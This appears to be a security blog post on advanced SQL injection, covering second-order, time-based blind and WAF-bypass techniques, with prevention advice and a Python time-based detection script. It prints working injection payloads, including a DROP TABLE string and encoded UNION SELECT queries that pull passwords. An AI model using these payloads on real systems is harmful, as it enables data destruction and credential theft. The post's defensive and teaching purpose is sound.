SQL injection remains one of the most critical vulnerabilities in web applications, despite being well-known for decades. In this post, I’ll explore advanced SQL injection techniques that work against modern web applications and frameworks.

Modern Challenges

Today’s web applications often implement various protection mechanisms:

  • Web Application Firewalls (WAFs)
  • Prepared statements and parameterized queries
  • Input validation and sanitization
  • Modern framework protections

However, vulnerabilities still exist, and attackers have developed sophisticated techniques to bypass these protections.

Advanced Techniques

1. Second-Order SQL Injection

This technique involves injecting malicious SQL code that gets stored in the database and executed later when the data is retrieved and used in another SQL query.

-- Initial injection (stored in user profile)
'; DROP TABLE users; --

-- Later executed when profile data is used
SELECT * FROM posts WHERE author = ''; DROP TABLE users; --'

2. Blind SQL Injection with Time Delays

When error messages are suppressed, time-based attacks can be effective:

'; IF (SELECT COUNT(*) FROM users WHERE username='admin') = 1 WAITFOR DELAY '00:00:05'; --

3. WAF Bypass Techniques

Modern WAFs can often be bypassed using various encoding and obfuscation techniques:

-- URL encoding
%27%20UNION%20SELECT%20null%2C%20password%20FROM%20users%20--%20

-- Double encoding
%2527%2520UNION%2520SELECT%2520null%252C%2520password%2520FROM%2520users%2520--

-- Case variation
' uNiOn SeLeCt null, password FrOm users --

Prevention Strategies

1. Parameterized Queries

Always use parameterized queries or prepared statements:

# Secure approach
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

# Vulnerable approach
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")

2. Input Validation

Implement strict input validation:

import re

def validate_user_input(user_input):
    # Allow only alphanumeric characters
    pattern = re.compile(r'^[a-zA-Z0-9]+$')
    return pattern.match(user_input) is not None

3. Least Privilege

Database users should have minimal necessary permissions:

-- Create restricted user
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp'@'localhost';
-- Do NOT grant DELETE, DROP, or administrative privileges

Testing Tools

I’ve developed several tools for SQL injection testing:

SQLi Detector

A Python script that automates SQL injection detection:

import requests
import time

def test_time_based_sqli(url, param):
    payloads = [
        "'; WAITFOR DELAY '00:00:05'; --",
        "' OR SLEEP(5); --",
        "' || pg_sleep(5); --"
    ]
    
    for payload in payloads:
        start_time = time.time()
        response = requests.get(url, params={param: payload})
        response_time = time.time() - start_time
        
        if response_time > 5:
            return True, payload
    
    return False, None

Real-World Examples

In my penetration testing engagements, I’ve discovered SQL injection vulnerabilities in:

  1. E-commerce Platforms: Injection in product search functionality
  2. CMS Systems: Vulnerabilities in admin panels
  3. Custom Applications: Poor input validation in forms
  4. API Endpoints: JSON-based SQL injection

Conclusion

SQL injection continues to be a significant threat. While modern frameworks provide better protection, developers must remain vigilant and implement proper security measures. Regular security testing and code reviews are essential.

References


This post is part of my ongoing security research. All examples are for educational purposes and should only be used in authorized penetration testing environments.